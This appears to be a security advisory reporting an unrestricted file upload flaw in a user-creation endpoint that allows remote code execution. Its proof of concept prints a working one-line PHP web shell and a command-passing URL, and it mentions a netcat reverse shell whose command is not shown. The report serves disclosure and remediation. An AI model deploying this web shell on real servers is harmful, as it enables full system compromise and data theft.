Summary:

Affected Functionality: Image upload at User creation Endpoint: /admin/settings/users/create

Details

The image upload at the user creation feature performs only client side file type validation. A user can capture the request by uploading an image, capture the request through a Proxy like Burp suite. Make changes to the file extension and content. The .php file when accessed through the link runs the code we provided inside the file.

Modified part of the multipart request body:

PoC

1. Upload an image file as profile picture during user creation , now capture the request and modify. File content: <?php if(isset($_REQUEST['cmd'])){ $cmd = ($_REQUEST['cmd']); system($cmd); die; }?> File name: poc.php Content-Type can be any, doesn't matter.
2. Access the uploaded file e.g. http://localhost:8000/storage/admins/21/poc.php?cmd=ls // pass the command to run as parameter value for cmd, example running ls command on the system

Likewise the following reverse shell code ( reverse shell of other languages ) can be executed to create a connection to attacker controlled system Command:

// Make sure netcat is running on port 7000 // change IP accordingly

Impact

Every user in the dashboard is allowed to change their profile picture, thus allowing any of these users to execute malicious actions at the Server level. Usually a server might host multiple applications, allowing execution of system commands allows complete control of the system. The impact of an RCE vulnerability can be full system compromise, access to database and filesystem, access other sensitive devices on the network.

Recommendation:

Extension Validation: Whitelist allowed extensions. ( use endswith() check rather than contains() as an attacker can bypass such a restriction with filename: poc.jpg.php
